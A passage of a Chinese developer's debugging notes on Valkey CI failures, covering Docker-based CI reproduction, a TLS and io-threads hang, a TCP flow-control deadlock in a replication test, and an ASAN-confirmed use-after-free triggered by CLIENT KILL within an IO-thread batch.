name: testprep run: sudo apt-get install tcl8.6 tclx - name: test if: true \u0026amp;\u0026amp; !contains(github.event.inputs.skiptests, \u0026#39;valkey\u0026#39;) run: ./runtest --io-threads --accurate --verbose --tags network --dump-logs ${{github.event.inputs.test_args}} - name: cluster tests if: true \u0026amp;\u0026amp; !contains(github.event.inputs.skiptests, \u0026#39;cluster\u0026#39;) run: ./runtest-cluster --io-threads ${{github.event.inputs.cluster_test_args}} 这是ubuntu版本中运行的对吧,那么最好的方法就是起一个ubuntu的docker,配置对应的环境从而进行编译和测试.\n用 Ubuntu Docker 容器 + 一份临时 worktree + 按 daily.yml 的方式编译和跑测试。\n开一个ubuntu的容器来做测试 # # 在宿主机上准备worktree,防止产生影响 cd /home/ada/Project/valkey git fetch upstream git worktree add ../valkey-ci-repro fix-rdma-io-threads cd ../valkey-ci-repro git merge upstream/unstable 然后我们起一个ubuntu的容器:\n# 容器内部操作 docker run --rm -it \\ --name valkey-ci-repro \\ -v \u0026#34;$PWD\u0026#34;:/work \\ -w /work \\ ubuntu:24.04 \\ bash # 安装基础环境 apt-get update DEBIAN_FRONTEND=noninteractive apt-get install -y \\ build-essential \\ pkg-config \\ git \\ wget \\ ca-certificates \\ tcl8.6 \\ tclx \\ libssl-dev # 之后模拟workflow的操作 cd /tmp git clone https://github.com/ianlancetaylor/libbacktrace.git cd libbacktrace git checkout b9e40069c0b47a722286b94eb5231f7f05c08713 ./configure make -j\u0026#34;$(nproc)\u0026#34; make install ldconfig # 然后回仓库,按照CI的参数重新编译 cd /work make distclean make SERVER_CFLAGS=\u0026#39;-Werror\u0026#39; USE_LIBBACKTRACE=yes -j\u0026#34;$(nproc)\u0026#34; # 之后再使用容器的话可以这样 docker start -ai valkey-ci-repro # 如果已经在后台运行的话 docker exec -it valkey-ci-repro bash 本地根本跑不出来,都模拟成这样了?\n后面可以建立一个DockerFile:\nFROM ubuntu:24.04 RUN apt-get update \u0026amp;\u0026amp; DEBIAN_FRONTEND=noninteractive apt-get install -y \\ build-essential \\ pkg-config \\ git \\ wget \\ ca-certificates \\ tcl8.6 \\ tclx \\ libssl-dev \\ \u0026amp;\u0026amp; rm -rf /var/lib/apt/lists/* RUN cd /tmp \\ \u0026amp;\u0026amp; git clone https://github.com/ianlancetaylor/libbacktrace.git \\ \u0026amp;\u0026amp; cd libbacktrace \\ \u0026amp;\u0026amp; git checkout b9e40069c0b47a722286b94eb5231f7f05c08713 \\ \u0026amp;\u0026amp; ./configure \\ \u0026amp;\u0026amp; make -j\u0026#34;$(nproc)\u0026#34; \\ \u0026amp;\u0026amp; make install \\ \u0026amp;\u0026amp; ldconfig WORKDIR /work 这里查不出来,先放着.\n其实还是在找状态机的时序漏洞.\ncrash2 TLS卡死 # ~/Project/valkey fix-rdma-io-threads* 2m 17s ❯ ./runtest --io-threads --tls --accurate --verbose --dump-logs --single unit/wait 发现这个测试是存在问题的.\n卡住了,你怎么进行排错:\nps aux | grep valkey # aux: a 表示显示所有用户的进程，u 表示以面向用户的详细格式输出（包含 CPU、内存占用等），x 表示显示没有控制终端的后台进程。 这里要讲一下TLS的编译了:\n# 编译条件,注意写一些CI make BUILD_TLS=yes SERVER_CFLAGS=\u0026#39;-Werror\u0026#39; USE_LIBBACKTRACE=yes # 生成测试证书 ./utils/gen-test-certs.sh # 检查TLS tclsh \u0026lt;\u0026lt;\u0026lt; \u0026#39;package require tls; puts OK\u0026#39; 这里比较有意思,我们来做了一套对比的实验:\n1.基线：\n./runtest --accurate --verbose --verbose --dump-logs --single unit/protocol 2.只有 TLS：\n./runtest --tls --accurate --verbose --verbose --dump-logs --single unit/protocol 3.只有 io-threads：\n./runtest --io-threads --accurate --verbose --verbose --dump-logs --single unit/protocol 4.TLS + io-threads：\n./runtest --io-threads --tls --accurate --verbose --verbose --dump-logs --single unit/protocol 只有第四组会挂掉,就是这里的状态机接力的时候出现了问题.\n这里的手法就是首先理解TLS状态机和普通TCP状态机时序上的差异.\nCI报了24个错误? # 随便挑一个CI看一下https://github.com/valkey-io/valkey/actions/runs/23701289010/job/69045307291?pr=3335\n分析一下,报的都是一类错误,分析一下测试为什么会挂住,这是TCL测试:\ntest_slave_buffers {slave buffer are counted correctly} 1000000 10 0 1 参数含义：cmd_count=1000000, payload_len=10, limit_memory=0, pipeline=1\n完整流程：\n启动 master + replica 两个实例\n创建 100 个 key，每个 100KB (共约 10MB 数据)\nreplica 连接 master 并完成全量同步\n用 SIGSTOP 暂停 replica 进程 (pause_process $slave_pid) —— replica 完全\u0026quot;冻结\u0026quot;，不读不写\n创建一个 valkey_deferring_client 连接到 master\n在紧密循环中发 1,000,000 条 SETRANGE key:0 0 AAAAAAAAAA 命令（pipeline 模式，只发不收）\n发完后再循环读 1,000,000 条回复\n检查 master 的 mem_clients_slaves 是否正确反映了积压的 replica 输出缓冲区\nTCP流控dead lock # 这是两个独立的 TCP 数据流：\n数据流 A：Client → Server（命令）\nTcl 进程 → write() → Client 内核发送缓冲区 → [TCP] → Server 内核接收缓冲区 → read() → Valkey Server\n数据流 B：Server → Client（回复）\nValkey Server → write() → Server 内核发送缓冲区 → [TCP] → Client 内核接收缓冲区 → [无人读取！]\n关键机制：TCP 有接收窗口 (receive window)。当接收端的接收缓冲区满了，发送端就不能再发了。\n死锁的形成过程 # 阶段 1：一切正常\nClient 发命令，Server 读取并处理\nServer 生成回复（每个 SETRANGE 回复约 5 字节 :10\\r\\n），写入内核发送缓冲区\nTCP 将回复传输到 Client 的内核接收缓冲区\n阶段 2：Client 接收缓冲区开始填满\nClient 在紧密的 for 循环里，从不调用 read()\nClient 的 TCP 接收缓冲区持续积累回复数据\nLinux 的 TCP 接收缓冲区初始大小约 **128KB**（由 **net.ipv4.tcp_rmem** 的 default 值决定）\nTCP 自动调优 (auto-tuning) 可以扩大到 ~6MB，但前提是应用层在活跃地读取\n因为 Client 不读，TCP 自动调优不会显著扩大接收缓冲区\n阶段 3：死锁形成\n当 Client 的接收缓冲区满了 (~128KB, 约 26,000 条回复)：\nServer → Client 方向：\nClient 内核接收缓冲区满 → TCP 接收窗口变为 0 → Server write() 返回 EAGAIN\nServer 的回复积压在用户态的 client-\u0026gt;reply 链表中\nClient → Server 方向：\n理论上这个方向是独立的，但问题出在内核层面\u0026hellip;\n这里有一个关键的 TCP 内核行为：虽然 TCP 是全双工的，但在 Linux 内核的实现中，TCP 内存管理是共享的。当一个连接在一个方向上积压了大量未消费的数据，内核的 TCP 内存压力检测 (**tcp_mem**, **tcp_moderate_rcvbuf**) 可能会限制这个连接在另一个方向上的缓冲区大小。\n这里要注意的一点就是linux的接收和发送缓冲区是共享的,所以会有压力检测(虽然是全双工的).\n更直接的问题是：当 Server 端积压了大量发不出去的回复数据，Server 的 TCP 发送缓冲区满了。这时 TCP 的拥塞控制和内存管理可能会间接影响同一连接上的接收窗口通告。\n最终效果：\nClient 的 flush $fd（阻塞 write）被挂起 —— Client 内核的发送缓冲区满了\nServer 也写不出回复 —— Client 内核的接收缓冲区满了\n双方都在等对方先让步 → 死锁\n为什么是\u0026quot;有时挂、有时不挂\u0026quot;（flaky:古怪的） # 死锁是否发生取决于精确的时序：\nClient 发送速度：每条命令约 54 字节，flush 是阻塞 write() 系统调用。在快的 CI runner 上，1M 条命令可能在 10-20 秒内全部发完。\nServer 处理速度：Server 在事件循环中读取 → 处理命令 → 生成回复。如果 Server 能在 Client 发完所有命令之前保持足够的接收缓冲区空间，就不会死锁。\nTCP 缓冲区大小：受系统参数 tcp_rmem, tcp_wmem, tcp_mem 影响，不同 CI runner 可能不同。\n32-bit 的额外问题：32-bit 模式下内存分配开销更大，Tcl 解释器本身也更慢，更容易触发死锁窗口。\n这解释了：\nupstream #8453 的 test-ubuntu-32bit 通过了（47分44秒）—— 那次 CI runner 可能更快，Client 在死锁窗口关闭前完成了所有发送\n你的 PR 的 test-ubuntu-32bit 失败了（22分后超时）—— CI runner 更慢，命中了死锁\n说白了就是如果处理得太慢,就有可能会发生这种死锁.\n还是有CI的错误需要处理 # 但是我不知道是偶现的还是经常性的.\ndocker run --rm -it \\ -v /home/ada/Project/valkey:/valkey \\ -w /valkey \\ alpine:latest sh -euxc \u0026#39; apk add --no-cache build-base git tcl procps tclx git clone --depth 1 https://github.com/ianlancetaylor/libbacktrace.git /tmp/libbacktrace cd /tmp/libbacktrace \u0026amp;\u0026amp; git fetch --depth 1 origin b9e40069c0b47a722286b94eb5231f7f05c08713 \u0026amp;\u0026amp; git checkout b9e40069c0b47a722286b94eb5231f7f05c08713 cd /tmp/libbacktrace \u0026amp;\u0026amp; ./configure \u0026amp;\u0026amp; make -j\u0026#34;$(nproc)\u0026#34; \u0026amp;\u0026amp; make install apk add --no-cache openssl-dev pkgconf # 加上openssl,装上开发依赖 cd /valkey \u0026amp;\u0026amp; make SERVER_CFLAGS=\u0026#34;-Werror\u0026#34; USE_JEMALLOC=no CFLAGS=-DUSE_MALLOC_USABLE_SIZE USE_LIBBACKTRACE=yes -j\u0026#34;$(nproc)\u0026#34; cd /valkey \u0026amp;\u0026amp; ./runtest --verbose --dump-logs \u0026#39; 我们之后怎么在不同版本的linux上进行CI crash的复现总结 # docker会自己拉没有的容器.\n$ docker ps # 列出容器 CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES $ docker ps -a # 列出所有容器,包括已经停止的 CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES c3146944eaa9 debian:bookworm-slim \u0026#34;/bin/bash\u0026#34; 3 months ago Exited (130) 3 months ago modest_allen 如果你想关闭容器之后能够保留:\ndocker run -it --name valkey-alpine \\ -v /home/ada/Project/valkey:/valkey \\ -w /valkey \\ alpine:latest sh 以后（容器若在跑）：\ndocker start -ai valkey-alpine 若容器是 Exited 状态：\ndocker start valkey-alpine docker exec -it valkey-alpine sh 测试都过了,可能只是远端的问题没有解决.\n注意还会出现挂载权限的问题 # 之前在 Docker（Alpine）里用 v /home/ada/Project/valkey:/valkey 编过，容器里一般是 root，会在挂载目录里生成 属主为 root 的文件，例如 deps/libvalkey/obj/*、deps/libvalkey/lib/libvalkey.a 等。\n你现在在 宿主机上用普通用户 跑 ./runtest --tls，会触发 make，里面会对 deps/libvalkey 做 clean。日志里已有：\nrm: cannot remove \u0026#39;obj/sockcompat.d\u0026#39;: Permission denied ... make[3]: *** [Makefile:312: clean] Error 1 说明 删不掉 root 拥有的产物，清理不完整。\n接着编 TLS 版 libvalkey 时出现：\nfatal error: opening dependency file obj/tls.d: Permission denied 典型就是 deps/libvalkey/obj 目录或里面文件仍是 root 只写，当前用户不能在里面写 .d 文件。\n后面的 je_mallctl / je_malloc_usable_size 隐式声明，多半是在 依赖树没干净重编、.make-settings 和实际已编译的 jemalloc 状态不一致时的 连带现象；先把权限和 deps 清理修好，再全量 make，这类错误通常会消失。\n怎么处理（在宿主机上）\n任选一种可靠做法：\n做法 A：只修属主（推荐，不动 git 跟踪文件）\nsudo chown -R \u0026#34;$(id -un):$(id -gn)\u0026#34; /home/ada/Project/valkey/deps/libvalkey/obj \\ /home/ada/Project/valkey/deps/libvalkey/lib 若还有别的 Permission denied，可对整棵仓库做一次（注意会改所有构建产物的属主）：\nsudo chown -R \u0026#34;$(id -un):$(id -gn)\u0026#34; /home/ada/Project/valkey 然后：\ncd /home/ada/Project/valkey \u0026amp;\u0026amp; make distclean \u0026amp;\u0026amp; make BUILD_TLS=yes -j\u0026#34;$(nproc)\u0026#34; 做法 B：以后在 Docker 里用当前用户映射（避免再出现）\ndocker run 时加 --user \u0026#34;$(id -u):$(id -g)\u0026#34; （有时还需处理 $HOME），这样挂载目录里新文件属主是你的 UID，宿主机编译不会踩权限。\n还是存在一个UAF问题? # I tried adding a test to test for use-after-free (took AI\u0026rsquo;s help) where some clients tried to send ping, and in the same batch there was a kill command issued.\nTest: [a1b19c5](https://github.com/valkey-io/valkey/commit/a1b19c52a5946568343760f7df10d0179c36264d)\nThis test failed with ASAN - https://github.com/sarthakaggarwal97/valkey/actions/runs/24042292630/job/70116805349#step:7:530\nCan we check if this is something we should investigate. The tests seems legitimate.\n还是先尝试本地的复现 # 我们起了一个新的tcl测试,但是会发现出现了问题,先把这个测试加到我们的tcl中去.\nproc stress_same_batch_client_kill_on_handled_clients {} { set server_pid [s process_id] set victim_count 16 set iterations 100 for {set iter 0} {$iter \u0026lt; $iterations} {incr iter} { for {set i 0} {$i \u0026lt; $victim_count} {incr i} { set victim($i) [valkey_deferring_client] $victim($i) client id } for {set i 0} {$i \u0026lt; $victim_count} {incr i} { set victim_id($i) [$victim($i) read] } set killer [valkey_deferring_client] # Build one late CLIENT KILL command that can synchronously free many # already-handled clients in the same batch. If the handled_clients # post-pass still dereferences those raw client pointers, ASAN should # catch it. set kill_args [list kill id] for {set i 0} {$i \u0026lt; $victim_count} {incr i} { lappend kill_args $victim_id($i) } # Queue all victim reads first, then queue the killer command while the # server is stopped so they are eligible for the same IO-thread batch. pause_process $server_pid for {set i 0} {$i \u0026lt; $victim_count} {incr i} { $victim($i) ping $victim($i) flush } $killer client {*}$kill_args $killer flush resume_process $server_pid assert_equal $victim_count [$killer read] for {set i 0} {$i \u0026lt; $victim_count} {incr i} { catch {$victim($i) read} catch {$victim($i) close} unset victim($i) unset victim_id($i) } $killer close # Keep the loop making forward progress so sanitizer failures point at # the batching window instead of a later idle teardown. assert_equal {PONG} [r ping] } } start_server {config \u0026#34;minimal.conf\u0026#34; tags {\u0026#34;external:skip\u0026#34; \u0026#34;valgrind:skip\u0026#34;} overrides {enable-debug-command {yes} io-threads 5}} { # Skip if non io-threads mode - as it is relevant only for io-threads mode assert_equal {io-threads 5} [r config get io-threads] @@ -102,3 +153,9 @@ start_server {config \u0026#34;minimal.conf\u0026#34; tags {\u0026#34;external:skip\u0026#34; \u0026#34;valgrind:skip\u0026#34;} overr } } } start_server {config \u0026#34;minimal.conf\u0026#34; tags {\u0026#34;external:skip\u0026#34; \u0026#34;valgrind:skip\u0026#34;} overrides {io-threads 2 events-per-io-thread 0 use-exit-on-panic yes crash-memcheck-enabled no}} { test {ASAN canary for same-batch CLIENT KILL vs handled_clients post-pass} { stress_same_batch_client_kill_on_handled_clients } } Root Cause分析:\n1. CLIENT KILL 在批处理中执行: 当在同一个批次中,有些客户端发送 PING,同时有一个 CLIENT KILL 命令杀死这些客户端时 2. 客户端被添加到 handled_clients: 在 processClientsCommandsBatch 中 (memory_prefetch.c:250-252): if (beforeNextClient(c) == C_OK) { listAddNodeTail(handled_clients, c); } 3. 客户端在批处理中被 CLIENT KILL 释放: CLIENT KILL 命令会调用 freeClient(),直接释放那些 victim 客户端 4. UAF 发生: 在 processIOThreadsReadDone 最后的循环中 (networking.c:6456-6460): while ((handled_ln = listNext(\u0026amp;handled_li))) { client *c = listNodeValue(handled_ln); // c 已经被释放! if (!c-\u0026gt;conn) continue; // \u0026lt;-- ASAN 在这里触发 heap-use-after-free connUpdateState(c-\u0026gt;conn); } 然后进行编译:\n# 先清理之前的编译缓存，防止残留对象文件干扰 make distclean # 使用 ASAN 选项编译，强制使用 libc 内存分配器 make SANITIZER=address -j$(nproc) # 还要防止OOM杀死进程 sudo sysctl vm.overcommit_memory=1 MALLOC=libc：如果不加这个，Valkey 会链接 jemalloc，ASAN 的拦截机制会失效或者直接导致编译/运行崩溃。\nfno-omit-frame-pointer：告诉编译器不要优化掉栈帧指针（Frame Pointer）。这能让 ASAN 报错时，打印出非常清晰、深度的函数调用栈（Call Stack），就像你贴的日志里那样，方便你精准定位是哪一行触发的。\n首先dlopen我们要保证能找到对应的动态库,配置对应的路径.\nexport LD_LIBRARY_PATH=/home/ada/Project/valkey/src/modules/lua 然后运行单个的测试用例:\n./runtest --single unit/io-threads ~/Project/valkey fix-rdma-io-threads* 4m 22s ❯ ./runtest --single unit/io-threads Cleanup: may take some time... OK Starting test server at port 21079 [ready]: 276318 Testing unit/io-threads [ok]: Force the use of IO threads and assert active IO thread usage (1194 ms) [err]: Sanitizer error: ================================================================= ==276399==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ce588be6388 at pc 0x55bc4c205b5f bp 0x7ffcdada6970 sp 0x7ffcdada6960 READ of size 8 at 0x7ce588be6388 thread T0 #0 0x55bc4c205b5e in processIOThreadsReadDone /home/ada/Project/valkey/src/networking.c:6458 #1 0x55bc4c31c9f1 in beforeSleep /home/ada/Project/valkey/src/server.c:1945 #2 0x55bc4bf6a5ef in aeProcessEvents /home/ada/Project/valkey/src/ae.c:426 #3 0x55bc4bf6a5ef in aeMain /home/ada/Project/valkey/src/ae.c:543 #4 0x55bc4bf39efd in main /home/ada/Project/valkey/src/server.c:7687 #5 0x7f8589dee6c0 (/usr/lib/libc.so.6+0x276c0) (BuildId: 7a8d41a2df4fde040b4c6ac2832311ab645a1e41) #6 0x7f8589dee7f8 in __libc_start_main (/usr/lib/libc.so.6+0x277f8) (BuildId: 7a8d41a2df4fde040b4c6ac2832311ab645a1e41) #7 0x55bc4bf3c494 in _start (/home/ada/Project/valkey/src/valkey-server+0x158494) (BuildId: 4805b42524cc62566a136ec6bcf2de4751ee59df) 0x7ce588be6388 is located 8 bytes inside of 576-byte region [0x7ce588be6380,0x7ce588be65c0) freed by thread T0 here: #0 0x7f858a31f79d (/usr/lib/libasan.so.8+0x11f79d) (BuildId: 0b96d08695bbce2da9d4770c29ad2e72fb536f47) #1 0x55bc4c207064 in freeClient /home/ada/Project/valkey/src/networking.c:2168 #2 0x55bc4c210ea8 in freeClient /home/ada/Project/valkey/src/networking.c:2055 #3 0x55bc4c210ea8 in clientKillCommand /home/ada/Project/valkey/src/networking.c:5262 #4 0x55bc4c3335cf in call /home/ada/Project/valkey/src/server.c:3882 #5 0x55bc4c33becb in processCommand /home/ada/Project/valkey/src/server.c:4568 #6 0x55bc4c1eda61 in processCommandAndResetClient /home/ada/Project/valkey/src/networking.c:3808 #7 0x55bc4c1eda61 in processPendingCommandAndInputBuffer /home/ada/Project/valkey/src/networking.c:3841 #8 0x55bc4c130e12 in processClientsCommandsBatch /home/ada/Project/valkey/src/memory_prefetch.c:248 #9 0x55bc4c130e12 in processClientsCommandsBatch /home/ada/Project/valkey/src/memory_prefetch.c:231 #10 0x55bc4c2057c1 in processIOThreadsReadDone /home/ada/Project/valkey/src/networking.c:6451 #11 0x55bc4c31c9f1 in beforeSleep /home/ada/Project/valkey/src/server.c:1945 #12 0x55bc4bf6a5ef in aeProcessEvents /home/ada/Project/valkey/src/ae.c:426 #13 0x55bc4bf6a5ef in aeMain /home/ada/Project/valkey/src/ae.c:543 #14 0x55bc4bf39efd in main /home/ada/Project/valkey/src/server.c:7687 #15 0x7f8589dee6c0 (/usr/lib/libc.so.6+0x276c0) (BuildId: 7a8d41a2df4fde040b4c6ac2832311ab645a1e41) #16 0x7f8589dee7f8 in __libc_start_main (/usr/lib/libc.so.6+0x277f8) (BuildId: 7a8d41a2df4fde040b4c6ac2832311ab645a1e41) #17 0x55bc4bf3c494 in _start (/home/ada/Project/valkey/src/valkey-server+0x158494) (BuildId: 4805b42524cc62566a136ec6bcf2de4751ee59df) previously allocated by thread T0 here: #0 0x7f858a320cb5 in malloc (/usr/lib/libasan.so.8+0x120cb5) (BuildId: 0b96d08695bbce2da9d4770c29ad2e72fb536f47) #1 0x55bc4c479589 in ztrymalloc_usable_internal /home/ada/Project/valkey/src/zmalloc.c:156 #2 0x55bc4c479589 in valkey_malloc /home/ada/Project/valkey/src/zmalloc.c:185 #3 0x55bc4c1cfd99 in createClient /home/ada/Project/valkey/src/networking.c:282 #4 0x55bc4c1d5347 in acceptCommonHandler /home/ada/Project/valkey/src/networking.c:1835 #5 0x55bc4c36312c in connSocketAcceptHandler /home/ada/Project/valkey/src/socket.c:333 #6 0x55bc4bf6a6d4 in aeProcessEvents /home/ada/Project/valkey/src/ae.c:486 #7 0x55bc4bf6a6d4 in aeMain /home/ada/Project/valkey/src/ae.c:543 #8 0x55bc4bf39efd in main /home/ada/Project/valkey/src/server.c:7687 #9 0x7f8589dee6c0 (/usr/lib/libc.so.6+0x276c0) (BuildId: 7a8d41a2df4fde040b4c6ac2832311ab645a1e41) #10 0x7f8589dee7f8 in __libc_start_main (/usr/lib/libc.so.6+0x277f8) (BuildId: 7a8d41a2df4fde040b4c6ac2832311ab645a1e41) #11 0x55bc4bf3c494 in _start (/home/ada/Project/valkey/src/valkey-server+0x158494) (BuildId: 4805b42524cc62566a136ec6bcf2de4751ee59df) SUMMARY: AddressSanitizer: heap-use-after-free /home/ada/Project/valkey/src/networking.c:6458 in processIOThreadsReadDone Shadow bytes around the buggy address: 0x7ce588be6100: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x7ce588be6180: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x7ce588be6200: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x7ce588be6280: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa 0x7ce588be6300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =\u0026gt;0x7ce588be6380: fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x7ce588be6400: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x7ce588be6480: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x7ce588be6500: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x7ce588be6580: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa 0x7ce588be6600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==276399==ABORTING Logged sanitizer errors (pid 276399): ================================================================= ==276399==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ce588be6388 at pc 0x55bc4c205b5f bp 0x7ffcdada6970 sp 0x7ffcdada6960 READ of size 8 at 0x7ce588be6388 thread T0 #0 0x55bc4c205b5e in processIOThreadsReadDone /home/ada/Project/valkey/src/networking.c:6458 #1 0x55bc4c31c9f1 in beforeSleep /home/ada/Project/valkey/src/server.c:1945 #2 0x55bc4bf6a5ef in aeProcessEvents /home/ada/Project/valkey/src/ae.c:426 #3 0x55bc4bf6a5ef in aeMain /home/ada/Project/valkey/src/ae.c:543 #4 0x55bc4bf39efd in main /home/ada/Project/valkey/src/server.c:7687 #5 0x7f8589dee6c0 (/usr/lib/libc.so.6+0x276c0) (BuildId: 7a8d41a2df4fde040b4c6ac2832311ab645a1e41) #6 0x7f8589dee7f8 in __libc_start_main (/usr/lib/libc.so.6+0x277f8) (BuildId: 7a8d41a2df4fde040b4c6ac2832311ab645a1e41) #7 0x55bc4bf3c494 in _start (/home/ada/Project/valkey/src/valkey-server+0x158494) (BuildId: 4805b42524cc62566a136ec6bcf2de4751ee59df) 0x7ce588be6388 is located 8 bytes inside of 576-byte region [0x7ce588be6380,0x7ce588be65c0) freed by thread T0 here: #0 0x7f858a31f79d (/usr/lib/libasan.so.8+0x11f79d) (BuildId: 0b96d08695bbce2da9d4770c29ad2e72fb536f47) #1 0x55bc4c207064 in freeClient /home/ada/Project/valkey/src/networking.c:2168 #2 0x55bc4c210ea8 in freeClient /home/ada/Project/valkey/src/networking.c:2055 #3 0x55bc4c210ea8 in clientKillCommand /home/ada/Project/valkey/src/networking.c:5262 #4 0x55bc4c3335cf in call /home/ada/Project/valkey/src/server.c:3882 #5 0x55bc4c33becb in processCommand /home/ada/Project/valkey/src/server.c:4568 #6 0x55bc4c1eda61 in processCommandAndResetClient /home/ada/Project/valkey/src/networking.c:3808 #7 0x55bc4c1eda61 in processPendingCommandAndInputBuffer /home/ada/Project/valkey/src/networking.c:3841 #8 0x55bc4c130e12 in processClientsCommandsBatch /home/ada/Project/valkey/src/memory_prefetch.c:248 #9 0x55bc4c130e12 in processClientsCommandsBatch /home/ada/Project/valkey/src/memory_prefetch.c:231 #10 0x55bc4c2057c1 in processIOThreadsReadDone /home/ada/Project/valkey/src/networking.c:6451 #11 0x55bc4c31c9f1 in beforeSleep /home/ada/Project/valkey/src/server.c:1945 #12 0x55bc4bf6a5ef in aeProcessEvents /home/ada/Project/valkey/src/ae.c:426 #13 0x55bc4bf6a5ef in aeMain /home/ada/Project/valkey/src/ae.c:543 #14 0x55bc4bf39efd in main /home/ada/Project/valkey/src/server.c:7687 #15 0x7f8589dee6c0 (/usr/lib/libc.so.6+0x276c0) (BuildId: 7a8d41a2df4fde040b4c6ac2832311ab645a1e41) #16 0x7f8589dee7f8 in __libc_start_main (/usr/lib/libc.so.6+0x277f8) (BuildId: 7a8d41a2df4fde040b4c6ac2832311ab645a1e41) #17 0x55bc4bf3c494 in _start (/home/ada/Project/valkey/src/valkey-server+0x158494) (BuildId: 4805b42524cc62566a136ec6bcf2de4751ee59df) previously allocated by thread T0 here: #0 0x7f858a320cb5 in malloc (/usr/lib/libasan.so.8+0x120cb5) (BuildId: 0b96d08695bbce2da9d4770c29ad2e72fb536f47) #1 0x55bc4c479589 in ztrymalloc_usable_internal /home/ada/Project/valkey/src/zmalloc.c:156 #2 0x55bc4c479589 in valkey_malloc /home/ada/Project/valkey/src/zmalloc.c:185 #3 0x55bc4c1cfd99 in createClient /home/ada/Project/valkey/src/networking.c:282 #4 0x55bc4c1d5347 in acceptCommonHandler /home/ada/Project/valkey/src/networking.c:1835 #5 0x55bc4c36312c in connSocketAcceptHandler /home/ada/Project/valkey/src/socket.c:333 #6 0x55bc4bf6a6d4 in aeProcessEvents /home/ada/Project/valkey/src/ae.c:486 #7 0x55bc4bf6a6d4 in aeMain /home/ada/Project/valkey/src/ae.c:543 #8 0x55bc4bf39efd in main /home/ada/Project/valkey/src/server.c:7687 #9 0x7f8589dee6c0 (/usr/lib/libc.so.6+0x276c0) (BuildId: 7a8d41a2df4fde040b4c6ac2832311ab645a1e41) #10 0x7f8589dee7f8 in __libc_start_main (/usr/lib/libc.so.6+0x277f8) (BuildId: 7a8d41a2df4fde040b4c6ac2832311ab645a1e41) #11 0x55bc4bf3c494 in _start (/home/ada/Project/valkey/src/valkey-server+0x158494) (BuildId: 4805b42524cc62566a136ec6bcf2de4751ee59df) SUMMARY: AddressSanitizer: heap-use-after-free /home/ada/Project/valkey/src/networking.c:6458 in processIOThreadsReadDone Shadow bytes around the buggy address: 0x7ce588be6100: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x7ce588be6180: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x7ce588be6200: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x7ce588be6280: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa 0x7ce588be6300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =\u0026gt;0x7ce588be6380: fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x7ce588be6400: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x7ce588be6480: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x7ce588be6500: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x7ce588be6580: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa 0x7ce588be6600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==276399==ABORTING [exception]: Executing test client: I/O error reading reply. I/O error reading reply while executing \u0026#34;[srv $level \u0026#34;client\u0026#34;] {*}$args\u0026#34; (procedure \u0026#34;r\u0026#34; line 7) invoked from within \u0026#34;r ping\u0026#34; (procedure \u0026#34;stress_same_batch_client_kill_on_handled_clients\u0026#34; line 48) invoked from within \u0026#34;stress_same_batch_client_kill_on_handled_clients\u0026#34; (\u0026#34;uplevel\u0026#34; body line 2) invoked from within \u0026#34;uplevel 1 $code\u0026#34; (procedure \u0026#34;test\u0026#34; line 63) invoked from within \u0026#34;test {ASAN canary for same-batch CLIENT KILL vs handled_clients post-pass} { stress_same_batch_client_kill_on_handled_clients }\u0026#34; (\u0026#34;uplevel\u0026#34; body line 2) invoked from within \u0026#34;uplevel 1 $code \u0026#34; (procedure \u0026#34;start_server\u0026#34; line 2) invoked from within \u0026#34;start_server {config \u0026#34;minimal.conf\u0026#34; tags {\u0026#34;external:skip\u0026#34; \u0026#34;valgrind:skip\u0026#34;} overrides {io-threads 2 events-per-io-thread 0 use-exit-on-panic yes crash-...\u0026#34; (file \u0026#34;tests/unit/io-threads.tcl\u0026#34; line 157) invoked from within \u0026#34;source $path\u0026#34; (procedure \u0026#34;execute_test_file\u0026#34; line 6) invoked from within \u0026#34;execute_test_file $data\u0026#34; (procedure \u0026#34;test_client_main\u0026#34; line 10) invoked from within \u0026#34;test_client_main $::test_server_port \u0026#34; 看上面的日志,这下就是复现成功了.\n目前解决的手法就是:\ngit流程 backport操作 # 就是因为现在的代码逻辑已经和新的IO的逻辑不兼容了,所以我们要进行新的操作.就是把这部分代码合并进入旧版本就是9.0的版本中来处理.(就是cherry 